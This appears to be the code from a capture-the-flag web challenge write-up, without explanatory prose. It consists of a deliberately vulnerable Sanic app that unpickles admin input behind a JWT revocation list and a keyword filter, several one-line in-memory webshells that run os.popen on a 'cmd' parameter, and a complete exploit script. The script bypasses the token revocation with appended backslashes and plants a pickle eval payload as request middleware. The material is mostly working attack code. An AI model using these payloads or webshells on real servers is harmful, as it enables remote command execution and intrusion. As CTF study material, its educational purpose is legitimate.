1
2
3
4

from jwt.utils import base64url_decode

if base64url_decode('''eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9''')== base64url_decode('''eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9\\'''):
    print(11)

1
2
3
4
5
6
7
8
9

def base64url_decode(input: Union[bytes, str]) -> bytes:
    input_bytes = force_bytes(input)

    rem = len(input_bytes) % 4

    if rem > 0:
        input_bytes += b"=" * (4 - rem)

    return base64.urlsafe_b64decode(input_bytes)

1

app.add_route(lambda request: __import__("os").popen(request.args.get("cmd")).read(),"/shell", methods=["GET"])

1
2
3

app.exception(Exception)(lambda request, exception: __import__("sanic").response.text(__import__("os").popen(request.args.get("cmd")).read()))

app.exception(NotFound)(lambda request, exception: __import__("sanic").response.text(__import__("os").popen(request.args.get("cmd")).read()))

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

import base64, pickle, jwt, os
from sanic import Sanic
from sanic.response import text, html
from difflib import SequenceMatcher

app = Sanic(__name__)
APP_SECRET = os.urandom(32).hex()
jrl = [jwt.encode({"admin": True, "uid": '5201314'}, APP_SECRET, algorithm="HS256")]


def similar(a, b):
    return SequenceMatcher(None, a, b).ratio() > 0.88


def check_waf(payload):
    dangerous_keywords = [b'exception', b'listener', b'get', b'post', b'add_route']
    return not any(k in payload.lower() for k in dangerous_keywords)


def verify_admin(request):
    token = request.cookies.get('session', None).strip().replace('=', '')
    if token in jrl:
        return False
    try:
        payload = jwt.decode(token, APP_SECRET, algorithms=["HS256"])
        return payload.get('admin') == True
    except:
        return False


@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return text('gogogo')


@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user and similar(user.lower(), 'admin'):
        token = jwt.encode({"admin": False, "user": user}, APP_SECRET, algorithm="HS256")
        resp = text("login success")
        resp.cookies["session"] = token
        return resp
    return text("login fail")


@app.route("/src")
async def src(request):
    return text(open('app.py').read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if not verify_admin(request):
        return text("forbidden")

    cmd = request.form.get('cmd')
    if cmd:
        try:
            decoded_cmd = base64.b64decode(cmd)
            if not check_waf(decoded_cmd):
                return text("WAF: Dangerous keywords detected!")
            pickle.loads(decoded_cmd)
        except Exception as e:
            return text(f"Error: {str(e)}")

    return text("gogogo")


@app.route('/jrl', methods=['GET'])
async def jrl_endpoint(request):
    return text(str(jrl))


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

#!/usr/bin/env python3
import pickle
import base64
import requests
import sys
import re


def exploit(url):
    """执行完整的攻击流程"""

    if not url.startswith('http'):
        url = 'http://' + url

    print(f"[*] 目标: {url}")

    try:
        print("[1] 获取 JRL 中的 admin token...")
        r1 = requests.get(url + '/jrl', timeout=10)
        admin_token = r1.text.strip("[]'\"") + '\\\\'
        print(f"[+] Admin token: {admin_token[:50]}...")

        print("[2] 生成 pickle 载荷...")

        class Shell:
            def __reduce__(self):
                return (eval, ('app.middleware("request")(lambda r: __import__("os").popen("/readflag").read())',))

        payload = base64.b64encode(pickle.dumps(Shell())).decode()
        print(f"[+] Payload 生成完成")

        print("[3] 植入内存马...")
        headers = {'Cookie': f'session={admin_token}'}
        data = {'cmd': payload}
        r2 = requests.post(url + '/admin', headers=headers, data=data, timeout=10)

        if 'Error' in r2.text:
            print(f"[-] 植入失败: {r2.text}")
            return False
        else:
            print("[+] 内存马植入成功")

        print("[4] 获取 flag...")
        r3 = requests.get(url, timeout=10)

        flag_match = re.search(r'flag\{[^}]+\}', r3.text)
        if flag_match:
            flag = flag_match.group(0)
            print(f"[+] 成功获取 Flag: {flag}")
            return flag
        else:
            print(f"[-] 未找到 flag，响应: {r3.text[:100]}")
            return False

    except Exception as e:
        print(f"[-] 攻击失败: {e}")
        return False


def main():
    if len(sys.argv) != 2:
        print("Usage: python exp.py <target_url>")
        print("Example: python exp.py http://127.0.0.1:8000")
        print("Example: python exp.py 127.0.0.1:8000")
        sys.exit(1)

    target_url = sys.argv[1]
    flag = exploit(target_url)

    if flag:
        print(f"\n🎉 SUCCESS! Flag: {flag}")
    else:
        print("\n❌ Failed to get flag")
        sys.exit(1)


if __name__ == "__main__":
    main()